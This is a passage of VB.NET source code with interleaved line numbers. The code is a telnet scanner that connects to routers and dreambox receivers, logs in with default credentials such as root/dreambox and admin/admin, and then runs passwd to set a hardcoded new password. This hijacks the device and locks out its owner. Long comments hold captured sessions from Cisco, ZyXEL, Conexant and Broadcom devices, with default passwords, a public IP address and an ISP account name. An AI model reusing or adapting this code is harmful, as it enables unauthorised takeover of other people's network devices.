			'Console.WriteLine("{0} -> Banner telnet: " + Encoding.ASCII.GetString(data, 0, recv), myip);
854
855
			'}
856
			'catch (Exception eeeee)
857
			'{
858
			'    Console.WriteLine(eeeee.Message);
859
			'}            
860
861
			Dim strRetPage As [String] = Nothing
862
			Dim bytes As Int32
863
			Dim RecvBytes As [Byte]() = New [Byte](255) {}
864
			Dim ASCII As Encoding = Encoding.ASCII
865
			'
866
'            bytes = Sock_scan.Receive(RecvBytes, RecvBytes.Length, 0);
867
'            
868
'            strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
869
'
870
'            while (bytes > 0)
871
'            {
872
'                bytes = Sock_scan.Receive(RecvBytes, RecvBytes.Length, 0);
873
'                strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
874
'            }
875
'            Console.WriteLine("Banner telnet: " + strRetPage);
876
'            
877
878
879
			If banner.Contains("ogin:") OrElse banner.Contains("sername:") Then
880
				Sock_scan = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
881
				Sock_scan.Connect(ip)
882
883
				recv = Sock_scan.Receive(data)
884
				stringdata = Encoding.ASCII.GetString(data, 0, recv)
885
				Console.WriteLine("{0} -> BANNERLOGIN: " & stringdata, myip)
886
887
				'#Region "BANNERS01"
888
				'Exemple: Vulcan
889
				'<BAD SEQUENCE>
890
				'Copyright (c) 2001-2003 by Conexant, Inc.
891
892
				'login: 01
893
				'password:
894
				'Echec Login
895
				'login:
896
				'login: 02
897
				'password:
898
				'Echec Login
899
				'login: 03
900
				'password:
901
				'Echec Login
902
				'login:
903
				'login: 04
904
				'password:
905
				'Echec Login
906
				'login: 05
907
				'password:
908
				'Echec Login
909
910
911
				'Perte de la connexion à l'hôte.
912
				'</BAD SEQUENCE>
913
914
				'************************************************************************************
915
				'                           CONEXANT SYSTEMS, INC.
916
				'   ACCESS RUNNER ADSL CONSOLE PORT  3.21
917
918
				'LOGON PASSWORD>
919
				'(epicrouter)
920
				'
921
				'
922
				'                                           CONEXANT SYSTEMS, INC.
923
				'                   ACCESS RUNNER ADSL CONSOLE PORT  3.21
924
925
926
				'                                   MAIN MENU
927
928
				'                        0. Select VC Adaptor
929
				'                        1. Display Firmware Version
930
				'                        2. Password Setup
931
				'                        3. Connection Status
932
				'                        4. Network Setup
933
				'                        5. ADSL Setup
934
				'                        6. System Maintenance
935
936
937
938
939
				'                        S. Save Settings and Reset Unit
940
				'                        R. Reset Without Saving Changes
941
				'                        Q. Quit Session
942
943
				'                        Enter your selection below:
944
945
				'>>>
946
				'(2)
947
				'                           CONEXANT SYSTEMS, INC.
948
				'                   ACCESS RUNNER ADSL CONSOLE PORT  3.21
949
950
				'                              Password Setup
951
952
953
				'                        1. Change Administrative Password
954
				'                        2. Change PPP User Name and Password
955
				'                        3. Change User Password
956
957
958
959
960
961
962
963
964
				'                              Press 'B' to go Back
965
				'                          Press 'M' to go to Main Menu
966
				'                           Enter your selection below
967
968
969
970
				'>>>
971
972
				'(1)
973
				'                           CONEXANT SYSTEMS, INC.
974
				'                   ACCESS RUNNER ADSL CONSOLE PORT  3.21
975
976
				'                       Change Administrative Password
977
978
979
				'                        Enter New Admin Password:
980
				'              (no less than 8 characters, '&' is not accepted)
981
				'                              (Press ESC to quit)
982
983
				'>>>
984
				'
985
				'                           CONEXANT SYSTEMS, INC.
986
				'                   ACCESS RUNNER ADSL CONSOLE PORT  3.21
987
988
				'                       Confirm Administrative Password
989
990
991
				'                        Re-enter New Admin Password:
992
				'              (no less than 8 characters, '&' is not accepted)
993
				'                              (Press ESC to quit)
994
995
				'>>>
996
997
				'                           CONEXANT SYSTEMS, INC.
998
				'                   ACCESS RUNNER ADSL CONSOLE PORT  3.21
999
1000
				'                              Password Setup
1001
1002
1003
				'                        1. Change Administrative Password
1004
				'                        2. Change PPP User Name and Password
1005
				'                        3. Change User Password
1006
1007
				'                              Press 'B' to go Back
1008
				'                          Press 'M' to go to Main Menu
1009
				'                           Enter your selection below
1010
1011
1012
1013
				'>>>
1014
1015
1016
				'                           CONEXANT SYSTEMS, INC.
1017
				'                   ACCESS RUNNER ADSL CONSOLE PORT  3.21
1018
1019
				'                                     Quit Session
1020
1021
1022
				'                        This will quit current telnet session.
1023
1024
1025
				'                     Press 'Y' to continue, or 'B' to go back.
1026
				'                             Press 'M' for main menu.
1027
1028
1029
				'>>>
1030
1031
1032
1033
				'************************************************************************************
1034
				'NetDVRDVS:admin
1035
				'Password:
1036
				'Login incorrect
1037
1038
1039
				'************************************************************************************
1040
				'User Access Verification
1041
1042
				'Username: admin
1043
				'Password:
1044
				'% Login invalid
1045
1046
1047
				'************************************************************************************
1048
				'(212.217.28.244)
1049
				'User Access Verification
1050
1051
				'Password: 1234
1052
				'GPBM>help
1053
				'Help may be requested at any point in a command by entering
1054
				'a question mark '?'.  If nothing matches, the help list will
1055
				'be empty and you must backup until entering a '?' shows the
1056
				'available options.
1057
				'Two styles of help are provided:
1058
				'1. Full help is available when you are ready to enter a
1059
				'   command argument (e.g. 'show ?') and describes each possible
1060
				'   argument.
1061
				'2. Partial help is provided when an abbreviated argument is entered
1062
				'   and you want to know what arguments match the input
1063
				'   (e.g. 'show pr?'.)
1064
1065
				'GPBM>
1066
				'GPBM>?
1067
				'Exec commands:
1068
				'  <1-99>           Session number to resume
1069
				'  access-enable    Create a temporary Access-List entry
1070
				'  access-profile   Apply user-profile to interface
1071
				'  clear            Reset functions
1072
				'  connect          Open a terminal connection
1073
				'  disable          Turn off privileged commands
1074
				'  disconnect       Disconnect an existing network connection
1075
				'  enable           Turn on privileged commands
1076
				'  exit             Exit from the EXEC
1077
				'  help             Description of the interactive help system
1078
				'  lock             Lock the terminal
1079
				'  login            Log in as a particular user
1080
				'  logout           Exit from the EXEC
1081
				'  name-connection  Name an existing network connection
1082
				'  pad              Open a X.29 PAD connection
1083
				'  ping             Send echo messages
1084
				'  ppp              Start IETF Point-to-Point Protocol (PPP)
1085
				'  resume           Resume an active network connection
1086
				'  rlogin           Open an rlogin connection
1087
				'  set              Set system parameter (not config)
1088
				'  show             Show running system information
1089
				'  slip             Start Serial-line IP (SLIP)
1090
				'  systat           Display information about terminal lines
1091
				'  telnet           Open a telnet connection
1092
				'  terminal         Set terminal line parameters
1093
				'  traceroute       Trace route to destination
1094
				'  tunnel           Open a tunnel connection
1095
				'  where            List active connections
1096
				'  x28              Become an X.28 PAD
1097
				'  x3               Set X.3 parameters on PAD
1098
1099
				'GPBM>
1100
1101
				'GPBM>ping 8.8.8.8
1102
1103
				'Type escape sequence to abort.
1104
				'Sending 5, 100-byte ICMP Echos to 8.8.8.8, timeout is 2 seconds:
1105
				'!!!!!
1106
				'Success rate is 100 percent (5/5), round-trip min/avg/max = 44/45/48 ms
1107
				'GPBM>
1108
1109
				'GPBM>show ?
1110
				'backup         Backup status
1111
				'c1700          Show c1700 information
1112
				'cca            CCA information
1113
				'cdapi          CDAPI information
1114
				'class-map      Show QoS Class Map
1115
				'clock          Display the system clock
1116
				'compress       Show compression statistics
1117
				'dialer         Dialer parameters and statistics
1118
				'exception      exception informations
1119
				'flash:         display information about flash: file system
1120
1121
				'history        Display the session command history
1122
				'hosts          IP domain-name, lookup style, nameservers, and host table
1123
				'isdn           ISDN information
1124
				'location       Display the system location
1125
				'modemcap       Show Modem Capabilities database
1126
				'policy-map     Show QoS Policy Map
1127
				'ppp            PPP parameters and statistics
1128
				'queue          Show queue contents
1129
				'queueing       Show queueing configuration
1130
				'radius         Shows radius information
1131
				'rmon           rmon statistics
1132
				'rtr            Response Time Reporter (RTR)
1133
				'sessions       Information about Telnet connections
1134
				'snmp           snmp statistics
1135
				'tacacs         Shows tacacs+ server statistics
1136
				'template       Template information
1137
				'terminal       Display terminal configuration parameters
1138
				'traffic-shape  traffic rate shaping configuration
1139
				'users          Display information about terminal lines
1140
				'version        System hardware and software status
1141
1142
				'GPBM>show version
1143
				'Cisco Internetwork Operating System Software
1144
				'IOS (tm) C1700 Software (C1700-Y-M), Version 12.1(1), RELEASE SOFTWARE (fc1)
1145
				'Copyright (c) 1986-2000 by cisco Systems, Inc.
1146
				'Compiled Tue 14-Mar-00 16:40 by cmong
1147
				'Image text-base: 0x80008088, data-base: 0x805B7EE0
1148
1149
				'ROM: System Bootstrap, Version 12.0(3)T, RELEASE SOFTWARE (fc1)
1150
1151
				'GPBM uptime is 5 weeks, 6 days, 45 minutes
1152
				'System returned to ROM by power-on
1153
				'System image file is "flash:c1700-y-mz.121-1"
1154
1155
				'cisco 1720 (MPC860) processor (revision 0x501) with 12288K/4096K bytes of memory
1156
				'.
1157
				'Processor board ID JAD04180989 (362865562), with hardware revision 0000
1158
				'M860 processor: part number 0, mask 32
1159
				'Bridging software.
1160
				'X.25 software, Version 3.0.0.
1161
				'Basic Rate ISDN software, Version 1.1.
1162
				'1 FastEthernet/IEEE 802.3 interface(s)
1163
				'1 Serial(sync/async) network interface(s)
1164
				'1 ISDN Basic Rate interface(s)
1165
				'32K bytes of non-volatile configuration memory.
1166
				'4096K bytes of processor board System flash (Read/Write)
1167
1168
				'Configuration register is 0x2102
1169
1170
				'GPBM>show diag
1171
				'Slot 0:
1172
				'        C1720 1FE Mainboard Port adapter, 3 ports
1173
				'        Port adapter is analyzed
1174
				'        Port adapter insertion time unknown
1175
				'        EEPROM contents at hardware discovery:
1176
				'        Hardware Revision        : 5.1
1177
				'        PCB Serial Number        : JAD04180989
1178
				'        Part Number              : 73-3201-05
1179
				'        Board Revision           : 70
1180
				'        Fab Version              : 04
1181
				'        EEPROM format version 4
1182
				'        EEPROM contents (hex):
1183
				'          0x00: 04 FF 40 00 B2 41 05 01 C1 8B 4A 41 44 30 34 31
1184
				'          0x10: 38 30 39 38 39 82 49 0C 81 05 42 37 30 02 04 FF
1185
				'          0x20: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
1186
				'          0x30: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
1187
				'          0x40: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
1188
				'          0x50: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
1189
				'          0x60: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
1190
				'          0x70: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
1191
1192
				'        WIC Slot 0:
1193
				'        Serial 1T WAN daughter card
1194
				'        Hardware revision 1.0   Board revision H0
1195
				'        Serial number     0018074153    Part number    800-01514-01
1196
				'        Test history      0x00          RMA number     00-00-00
1197
				'        Connector type    WAN Module
1198
				'        EEPROM format version 1
1199
				'        EEPROM contents (hex):
1200
				'        0x20:   01 02 01 00 01 13 CA 29 50 05 EA 01 00 00 00 00
1201
				'        0x30:   88 00 00 00 00 01 29 01 FF FF FF FF FF FF FF FF
1202
1203
				'        WIC Slot 1:
1204
				'        BRI S/T - 2186 WAN daughter card
1205
				'        Hardware revision 1.3   Board revision A0
1206
				'        Serial number     0019915070    Part number    800-01833-03
1207
				'        Test history      0x00          RMA number     00-00-00
1208
				'        Connector type    WAN Module
1209
				'        EEPROM format version 1
1210
				'        EEPROM contents (hex):
1211
				'        0x20:   01 07 01 03 01 2F E1 3E 50 07 29 03 00 00 00 00
1212
				'        0x30:   50 00 00 00 00 04 25 01 FF FF FF FF FF FF FF FF
1213
1214
1215
1216
1217
				'************************************************************************************
1218
				'-----------------------------------------------------------------------
1219
				'Cisco Router and Security Device Manager (SDM) is installed on this device.
1220
				'This feature requires the one-time use of the username "cisco"
1221
				'with the password "cisco". The default username and password have a privilege le
1222
				'vel of 15.
1223
1224
				'Please change these publicly known initial credentials using SDM or the IOS CLI.
1225
1226
				'Here are the Cisco IOS commands.
1227
1228
				'username <myuser>  privilege 15 secret 0 <mypassword>
1229
				'no username cisco
1230
1231
				'Replace <myuser> and <mypassword> with the username and password you want to use
1232
				'.
1233
1234
				'For more information about SDM please follow the instructions in the QUICK START
1235
1236
				'GUIDE for your router or go to http://www.cisco.com/go/sdm
1237
				'-----------------------------------------------------------------------
1238
1239
1240
				'User Access Verification
1241
1242
				'Username: cisco
1243
				'Password:
1244
				'% Login invalid
1245
1246
1247
				'************************************************************************************                
1248
				'BCM96338 ADSL Router
1249
				'Login: bad
1250
				'Password:
1251
				'Login incorrect. Try again.
1252
				'Login: admin
1253
				'Password: password
1254
1255
				'Note: If you have problem with Backspace key, please make sure you configure you
1256
				'r terminal emulator settings. For instance, from HyperTerminal you would need to
1257
				' use File->Properties->Setting->Back Space key sends.
1258
1259
1260
				'   Main Menu
1261
1262
				'1.  ADSL Link State
1263
				'2.  LAN
1264
				'3.  WAN
1265
				'4.  DNS Server
1266
				'5.  Route Setup
1267
				'6.  NAT
1268
				'7.  Firewall
1269
				'8.  Quality Of Service
1270
				'9.  Management
1271
				'10. Passwords
1272
				'11. Diag
1273
				'12. Reset to Default
1274
				'13. Save and Reboot
1275
				'14. Exit
1276
				' ->
1277
1278
				'(10)
1279
1280
				'Note: If you have problem with Backspace key, please make sure you configure you
1281
				'r terminal emulator settings. For instance, from HyperTerminal you would need to
1282
				' use File->Properties->Setting->Back Space key sends.
1283
1284
1285
				'   Password Menu
1286
1287
				'1. Admin
1288
				'2. User
1289
				'3. Support
1290
				'4. Exit
1291
				'''Passwords ->
1292
1293
				'Note: If you have problem with Backspace key, please make sure you configure you
1294
				'r terminal emulator settings. For instance, from HyperTerminal you would need to
1295
				' use File->Properties->Setting->Back Space key sends.
1296
1297
1298
				'   Password Menu
1299
1300
				'1. Admin
1301
				'2. User
1302
				'3. Support
1303
				'4. Exit
1304
				'''Passwords -> 1
1305
1306
				'        Password Configuration Menu For User admin
1307
1308
				'Note: Maximum length of password is 16 characters.
1309
				'Old password        :
1310
				'New password        :
1311
				'Confirm new password:
1312
				'Password for admin changed successfully.
1313
1314
				'Hit <enter> to continue
1315
1316
1317
				'Note: If you have problem with Backspace key, please make sure you configure you
1318
				'r terminal emulator settings. For instance, from HyperTerminal you would need to
1319
				' use File->Properties->Setting->Back Space key sends.
1320
1321
1322
				'   DNS Menu
1323
1324
				'1. Configure
1325
				'2. Show
1326
				'3. Exit
1327
				''' DNS Server -> 2
1328
1329
				'Automatic assigned IP address for DNS is enabled.
1330
				'Primary DNS  : 62.251.229.237
1331
				'Secondary DNS: 62.251.229.223
1332
1333
				'Hit <enter> to continue
1334
1335
1336
				'14. Exit
1337
				' -> 14
1338
1339
				'Bye bye. Have a nice day!!!
1340
1341
1342
				'Perte de la connexion à l'hôte.
1343
1344
1345
				'************************************************************************************ 
1346
				'Password: 1234
1347
				'                    Copyright (c) 1994 - 2003 ZyXEL Communications Corp.
1348
1349
				'                         Prestige 650R-E1 Main Menu
1350
				'                          Prestige 645 Main Menu
1351
1352
				'Getting Started                      Advanced Management
1353
				'  1. General Setup                     21. Filter Set Configuration
1354
				'  3. LAN Setup                         22. SNMP Configuration
1355
				'  4. Internet Access Setup             23. System Password
1356
				'                                       24. System Maintenance
1357
				'Advanced Applications                  25. IP Routing Policy Setup
1358
				'  11. Remote Node Setup                26. Schedule Setup
1359
				'  12. Static Routing Setup
1360
				'  15. NAT Setup
1361
				'                                       99. Exit
1362
1363
1364
1365
1366
1367
1368
				'                     Enter Menu Selection Number:
1369
1370
				'(23)
1371
				'
1372
1373
				'        Menu 23 - System Password
1374
1375
				'Old Password= ?
1376
				'New Password= ?
1377
				'Retype to confirm= ?
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
				' Enter here to CONFIRM or ESC to CANCEL:
1392
1393
1394
1395
				'
1396
1397
				'     Menu 4 - Internet Access Setup
1398
1399
				'ISP's Name= MyISP
1400
				'Encapsulation= PPPoE
1401
				'Multiplexing= LLC-based
1402
				'VPI #= 8
1403
				'VCI #= 35
1404
				'ATM QoS Type= UBR
1405
				'  Peak Cell Rate (PCR)= 0
1406
				'  Sustain Cell Rate (SCR)= 0
1407
				'  Maximum Burst Size (MBS)= 0
1408
				'My Login= saidi_im
1409
				'My Password= ********
1410
				'Idle Timeout (sec)= 0
1411
				'IP Address Assignment= Dynamic
1412
				'  IP Address= N/A
1413
				'Network Address Translation= SUA Only
1414
				'  Address Mapping Set= N/A
1415
1416
				'Press ENTER to Confirm or ESC to Cancel:
1417
1418
1419
				'************************************************************************************             
1420
				'Password: 1234
1421
1422
				'                    Copyright (c) 1994 - 2004 ZyXEL Communications Corp.
1423
1424
				'                         Prestige 660HW-61 Main Menu
1425
1426
				'Getting Started                      Advanced Management
1427
				'  1. General Setup                     21. Filter Set Configuration
1428
				'  2. WAN Backup Setup                  22. SNMP Configuration
1429
				'  3. LAN Setup                         23. System Security
1430
				'  4. Internet Access Setup             24. System Maintenance
1431
				'                                       25. IP Routing Policy Setup
1432
				'Advanced Applications                  26. Schedule Setup
1433
				'  11. Remote Node Setup
1434
				'  12. Static Routing Setup
1435
				'  14. Dial-in User Setup               99. Exit
1436
				'  15. NAT Setup
1437
1438
1439
1440
1441
1442
				'                     Enter Menu Selection Number:
1443
1444
				'(23)
1445
1446
				'
1447
1448
				'        Menu 23 - System Security
1449
1450
				'1. Change Password
1451
				'2. RADIUS Server
1452
1453
				'4. IEEE802.1x
1454
1455
				'(1)
1456
				'
1457
				'Menu 23.1 - System Security - Change Password
1458
1459
				'  Old Password= ?
1460
				'  New Password= ?
1461
				'  Retype to confirm= ?
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
				'   Enter here to CONFIRM or ESC to CANCEL:
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
				'      Enter Menu Selection Number:
1487
1488
1489
1490
				'************************************************************************************
1491
				'(Cisco router)
1492
				'User Access Verification
1493
1494
				'Username: bad
1495
				'Password:
1496
				'% Login invalid
1497
1498
				'Username: admin
1499
				'Password:
1500
				'% Login invalid
1501
1502
				'Username: admin
1503
				'Password:
1504
				'% Login invalid
1505
1506
1507
				'Perte de la connexion à l'hôte.
1508
1509
1510
				'************************************************************************************
1511
				'**************************
1512
				'*                        *
1513
				'*   The Gemini Project   *
1514
				'*                        *
1515
				'**************************
1516
1517
				'welcome on your dreambox! - Kernel 2.6.9 (09:30:19).
1518
1519
				'dreambox login: root
1520
				'Password:
1521
1522
1523
				'BusyBox v1.01 (2007.08.23-20:51+0000) Built-in shell (ash)
1524
				'Enter 'help' for a list of built-in commands.
1525
1526
				'root@dreambox:~>
1527
				'root@dreambox:~> help
1528
				'
1529
				'Built-in commands:
1530
				'-------------------
1531
				'        . : alias bg break cd chdir command continue eval exec exit export
1532
				'        false fg getopts hash help jobs kill let local pwd read readonly
1533
				'        return set shift times trap true type ulimit umask unalias unset
1534
				'        wait
1535
				'root@dreambox:~> passwd
1536
				'Changing password for root
1537
				'Enter the new password (minimum of 5, maximum of 8 characters)
1538
				'Please use a combination of upper and lower case letters and numbers.
1539
				'Enter new password:
1540
				'Re-enter new password:
1541
				'Password changed.
1542
				'root@dreambox:~>
1543
				'root@dreambox:~>
1544
				'\[                  fusermount          mkdir               start-stop-daemon
1545
				'ash                 gbox                mknod               streampes
1546
				'automount           gbox.ver            mkswap              streamripper
1547
				'awk                 gdaemon             mmi.socket          streamsec
1548
				'basename            gdaemon.socket      more                streamts
1549
				'boot                grep                mount               stty
1550
				'bunzip2             gunzip              mv                  su
1551
				'busybox             gzip                nc                  swapoff
1552
				'bzcat               halt                netstat             swapon
1553
				'cat                 hdparm              nslookup            sync
1554
				'chgrp               head                online.log          syslogd
1555
				'chmod               hostname            passwd              tail
1556
				'chown               hotplug             pid.info            tar
1557
				'chroot              hotplug.socket      pidof               telnet
1558
				'clear               httpd               ping                telnetd
1559
				'cp                  id                  pmt.tmp             test
1560
				'date                ifconfig            poweroff            top
1561
				'dd                  in.ftpd             prockill            touch
1562
				'df                  in.telnetd          ps                  true
1563
				'dmesg               inadyn              pwd                 tty
1564
				'dos2unix            inetd               rdate               udhcpc
1565
				'dropbear            init                reboot              udpstreampes
1566
				'dropbearkey         insmod              reset               umount
1567
				'dropbearmulti       kill                rm                  uname
1568
				'du                  killall             rmdir               uniq
1569
				'dvbnet              klogd               rmmod               unix2dos
1570
				'echo                lcdoff              route               uptime
1571
				'enigma              lcdstuff            sc.info             usleep
1572
				'enigmanet           ln                  sc01.info           vi
1573
				'env                 loadkmap            scp                 wc
1574
				'eraseall            logger              sed                 wget
1575
				'etherwake           login               sh                  which
1576
				'expr                logread             showlogo            whoami
1577
				'false               losetup             sleep               xargs
1578
				'find                ls                  smbmnt              yes
1579
				'flashtool           lsmod               smbmount            zcat
1580
				'free                md5sum              sort
1581
				'************************************************************************************
1582
1583
				'#End Region
1584
1585
				If banner.Contains("dreambox") Then
1586
					'dreambox login:
1587
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("root" & vbCr), SocketFlags.None)
1588
					recv = Sock_scan.Receive(data)
1589
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
1590
					Console.WriteLine("{0} -> BANNERPASSWORD01: " & stringdata, myip)
1591
					'Password:
1592
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("dreambox" & vbCr), SocketFlags.None)
1593
					recv = Sock_scan.Receive(data)
1594
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
1595
					Console.WriteLine("{0} -> Response telnet01: " & stringdata, myip)
1596
				Else
1597
					'Vulcan
1598
					'login:
1599
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("admin" & vbCr), SocketFlags.None)
1600
					recv = Sock_scan.Receive(data)
1601
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
1602
					Console.WriteLine("{0} -> BANNERPASSWORD: " & stringdata, myip)
1603
					'password:
1604
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("admin" & vbCr), SocketFlags.None)
1605
					recv = Sock_scan.Receive(data)
1606
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
1607
					Console.WriteLine("{0} -> Response telnet01: " & stringdata, myip)
1608
				End If
1609
				'      cisco/cisco
1610
				recv = Sock_scan.Receive(data)
1611
				stringdata = Encoding.ASCII.GetString(data, 0, recv)
1612
				Console.WriteLine("{0} -> Response telnet01a: " & stringdata, myip)
1613
				'Login Successful
1614
1615
				'login:
1616
				If stringdata.Contains("ogin:") Then
1617
					Console.WriteLine("{0} -> BAD LOGIN/PASSWORD", myip)
1618
				Else
1619
					'$
1620
					'$passwd
1621
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("passwd" & vbCr), SocketFlags.None)
1622
					recv = Sock_scan.Receive(data)
1623
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
1624
					Console.WriteLine("{0} -> Response telnet01b: " & stringdata, myip)
1625
					If banner.Contains("Vulcan") Then
1626
						'Enter Old Password:       
1627
						Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("admin" & vbCr), SocketFlags.None)
1628
						recv = Sock_scan.Receive(data)
1629
						stringdata = Encoding.ASCII.GetString(data, 0, recv)
1630
						Console.WriteLine("{0} -> Response telnet01c: " & stringdata, myip)
1631
							'On a pas cette ligne sur une BusyBox ou une dreambox
1632
					Else
1633
					End If
1634
					'Enter New Password:
1635
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("j3R0m3!!" & vbCr), SocketFlags.None)
1636
					recv = Sock_scan.Receive(data)
1637
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
1638
					Console.WriteLine("{0} -> Response telnet01d: " & stringdata, myip)
1639
					'Confirm New Password:
1640
					Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("j3R0m3!!" & vbCr), SocketFlags.None)
1641
					recv = Sock_scan.Receive(data)
1642
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
1643
					Console.WriteLine("{0} -> Response telnet01e: " & stringdata, myip)
1644
					recv = Sock_scan.Receive(data)
1645
					stringdata = Encoding.ASCII.GetString(data, 0, recv)
1646
						'Login incorrect   (dreambox)
1647
1648
						'Password changed
1649
1650
						'Set Done
1651
						'SINON:    Erreur: Combinaison nom utilisateur/mot de passe invalide
1652
1653
						'passwd: An error occurred updating the password file.     //BusyBox
1654
					Console.WriteLine("{0} -> Response telnet01f: " & stringdata, myip)
1655
				End If
1656
				'login:
1657
1658
				Sock_scan.Close()
1659
			End If
1660
1661
			If banner.Contains("assword:") Then
1662
				'#Region "BANNERS"
1663
				'********************************************************
1664
				'Info:Connection was denied by remote host according to ACL!
1665
1666
				'********************************************************
1667
				'Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
1668
				'admin
1669
				'Valid commands are:
1670
				'sys             exit            ether           wan
1671
				'ip              bridge          dot1q           pktqos
1672
				'show            set             lan
1673
1674
				'********************************************************
1675
				'Copyright (c) 2001 - 2006 TrendChip Technologies Corp.
1676
				'1234
1677
				'Valid commands are:
1678
				'sys             exit            ether           wan
1679
				'etherdbg        usb             ip              bridge
1680
				'dot1q           pktqos          show            set
1681
				'lan
1682
				'
1683
				'tc> sys countrycode
1684
				'country code = 253                //Djibouti
1685
1686
				'********************************************************
1687
				'                         *******************
1688
				'                         Welcome to Vulcan
1689
				'                         *******************
1690
1691
				'Conexant Inc., Software Release 3.C10MTT0.8822A
1692
				'Copyright (c) 2001-2003 by Conexant, Inc.
1693
1694
				'login:
1695
				'admin
1696
1697
				'password:
1698
				'admin
1699
				'Login Successful
1700
				'$
1701
				'$help
1702
				'Command        Description
1703
				'-------        -----------
1704
				'alias          To Alias a command
1705
				'apply          Apply configuration/image file
1706
				'commit         Commit the active config to the flash
1707
				'create         Create a new entry of specified type
1708
				'delete         Delete the specified entry
1709
				'download       Download a file on to the Device
1710
				'exit           To exit the CLI shell
1711
				'get            Display info for the search
1712
				'help           Provides help
1713
				'list           List files
1714
				'modify         Modify information for specified entry
1715
				'passwd         To modify user password
1716
				'ping           The normal ping command
1717
				'prompt         Change the user prompt
1718
				'reboot         Reboot the device
1719
				'remove         Remove file
1720
				'reset          Reset info for the specified entry
1721
				'size           ATM Sizing Information
1722
				'traceroute     The normal traceroute command
1723
				'trigger        To set trigger
1724
				'unalias        To undefine previously defined alias
1725
				'verbose        Switch ON/OFF the verbose mode
1726
1727
1728
				'********************************************************
1729
				'Password: 1234
1730
				'Copyright (c) 1994 - 2007 ZyXEL Communications Corp.
1731
				'ras>
1732
				'ras> help
1733
				'Valid commands are:
1734
				'sys             exit            ether           wan
1735
				'aux             wlan            ip              ipsec
1736
				'bridge          certificates    bm              lan
1737
				'vlan            radius          8021x           autoSec
1738
				'ras> sys
1739
				'packetscan      adjtime         callhist        countrycode
1740
				'date            domainname      edit            extraphnum
1741
				'feature         firewall        myZyxelCom      hostname
1742
				'logs            stdio           datetime        time
1743
				'tos             trcdisp         trclog          trcpacket
1744
				'version         view            wdog            romreset
1745
				'upnp            atsh            atmu            ateb
1746
				'xmodemmode      diag            save            display
1747
				'adminPassword   userPassword    default         fwnotify
1748
				'tripleplay      general         socket          filter
1749
				'ddns            cpu             winmes          snmp
1750
				'ras> sys adminPassword
1751
				'Usage: adminPassword <new adminPassword>
1752
				'ras> sys adminPassword j3R0m3!!
1753
1754
				'
1755
'                                        Copyright (c) 1994 - 2003 ZyXEL Communications Corp.
1756
'
1757
'                                                  Prestige 650R-E1 Main Menu
1758
'
1759
'                         Getting Started                      Advanced Management
1760
'                           1. General Setup                     21. Filter Set Configuration
1761
'                           3. LAN Setup                         22. SNMP Configuration
1762
'                           4. Internet Access Setup             23. System Password
1763
'                                                                24. System Maintenance
1764
'                         Advanced Applications                  25. IP Routing Policy Setup
1765
'                           11. Remote Node Setup                26. Schedule Setup
1766
'                           12. Static Routing Setup
1767
'                           15. NAT Setup
1768
'                                                                99. Exit
1769
'
1770
'
1771
'
1772
'
1773
'
1774
'
1775
'                                              Enter Menu Selection Number:
1776
'                    
1777
1778
				'
1779
'                                                 Menu 1 - General Setup
1780
'
1781
'                    System Name= ?
1782
'                    Location=
1783
'                    Contact Person's Name=
1784
'                    Domain Name=
1785
'                    Edit Dynamic DNS= No
1786
'
1787
'                    Route IP= Yes
1788
'                    Bridge= No
1789
'
1790
'
1791
'
1792
'
1793
'
1794
'
1795
'
1796
'
1797
'                    Press ENTER to Confirm or ESC to Cancel:
1798
'                    
1799
1800
				'
1801
'                    
1802
'
1803
'                            Menu 23 - System Password
1804
'
1805
'                    Old Password= ?
1806
'                    New Password= ?
1807
'                    Retype to confirm= ?
1808
'
1809
'
1810
'
1811
'
1812
'
1813
'
1814
'
1815
'
1816
'
1817
'
1818
'
1819
'
1820
'
1821
'                     Enter here to CONFIRM or ESC to CANCEL:
1822
'                    
1823
1824
				'
1825
'                                                   Menu 3 - LAN Setup
1826
'
1827
'                    1. LAN Port Filter Setup
1828
'                    2. TCP/IP and DHCP Setup
1829
'
1830
'
1831
'
1832
'
1833
'
1834
'
1835
'
1836
'
1837
'
1838
'
1839
'
1840
'
1841
'
1842
'
1843
'                          Enter Menu Selection Number:
1844
'                    
1845
1846
				'
1847
'                                            Menu 3.1 - LAN Port Filter Setup
1848
'
1849
'                    Input Filter Sets:
1850
'                      protocol filters=
1851
'                      device filters=
1852
'                    Output Filter Sets:
1853
'                      protocol filters=
1854
'                      device filters=
1855
'                    
1856
1857
				'
1858
'                                            Menu 3.2 - TCP/IP and DHCP Setup
1859
'
1860
'                    DHCP Setup
1861
'                      DHCP= Server
1862
'                      Client IP Pool Starting Address= 192.168.1.33
1863
'                      Size of Client IP Pool= 32
1864
'                      Primary DNS Server= 0.0.0.0
1865
'                      Secondary DNS Server= 0.0.0.0
1866
'                      Remote DHCP Server= N/A
1867
'                    TCP/IP Setup:
1868
'                      IP Address= 192.168.1.1
1869
'                      IP Subnet Mask= 255.255.255.0
1870
'                      RIP Direction= Both
1871
'                        Version= RIP-2B
1872
